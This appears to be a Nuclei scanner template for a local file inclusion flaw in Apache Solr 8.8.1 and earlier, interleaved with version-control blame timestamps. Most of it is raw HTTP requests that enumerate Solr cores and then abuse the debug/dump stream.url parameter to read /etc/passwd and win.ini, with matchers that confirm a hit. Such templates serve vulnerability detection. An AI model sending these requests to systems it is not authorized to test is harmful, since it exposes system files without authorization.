2021-04-23 10:19:45 +00:00
|
|
|
id: apache-solr-file-read
|
2021-04-23 10:18:04 +00:00
|
|
|
|
|
|
|
info:
|
2023-01-16 17:41:15 +00:00
|
|
|
name: Apache Solr <=8.8.1 - Local File Inclusion
|
2022-12-02 03:43:23 +00:00
|
|
|
author: DhiyaneshDk,philippedelteil
|
2021-04-23 10:18:04 +00:00
|
|
|
severity: high
|
2022-07-26 13:45:11 +00:00
|
|
|
description: Apache Solr versions prior to and including 8.8.1 are vulnerable to local file inclusion.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://twitter.com/Al1ex4/status/1382981479727128580
|
|
|
|
- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
|
|
|
|
- https://twitter.com/sec715/status/1373472323538362371
|
2022-07-26 13:45:11 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 3
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: apache,solr,lfi
|
2021-04-23 10:18:04 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-04-23 10:18:04 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /solr/admin/cores?wt=json HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept-Language: en
|
|
|
|
Connection: close
|
2022-12-01 23:51:21 +00:00
|
|
|
- |
|
2022-12-02 04:01:15 +00:00
|
|
|
GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../Windows/win.ini¶m=ContentStream HTTP/1.1
|
2022-12-01 23:51:21 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept-Language: en
|
|
|
|
Connection: close
|
2021-04-23 10:18:04 +00:00
|
|
|
- |
|
|
|
|
GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept-Language: en
|
|
|
|
Connection: close
|
|
|
|
|
2022-12-02 04:01:15 +00:00
|
|
|
stop-at-first-match: true
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-12-08 09:12:36 +00:00
|
|
|
matchers-condition: or
|
2021-04-23 10:18:04 +00:00
|
|
|
matchers:
|
2022-12-01 23:51:21 +00:00
|
|
|
- type: word
|
2022-12-02 04:01:15 +00:00
|
|
|
part: body
|
2022-12-01 23:51:21 +00:00
|
|
|
words:
|
2022-12-02 04:01:15 +00:00
|
|
|
- "bit app support"
|
|
|
|
- "fonts"
|
|
|
|
- "extensions"
|
2022-12-01 23:51:21 +00:00
|
|
|
condition: and
|
2022-12-02 03:42:05 +00:00
|
|
|
|
2021-08-09 16:28:28 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-07-26 13:45:11 +00:00
|
|
|
- "root:.*:0:0:"
|
2022-12-08 09:12:36 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: core
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '"name"\:"(.*?)"'
|
|
|
|
internal: true
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402204701faa57e5f8203f921faadc4d416ea2a017b6e96f2a49cd8c1a4df92cf67660220610eca8947b8dc49d1cf27db9e658096ff7b6bca8a1b1847bc11e2edef5257fb:922c64590222798bb761d5b6d8e72950
|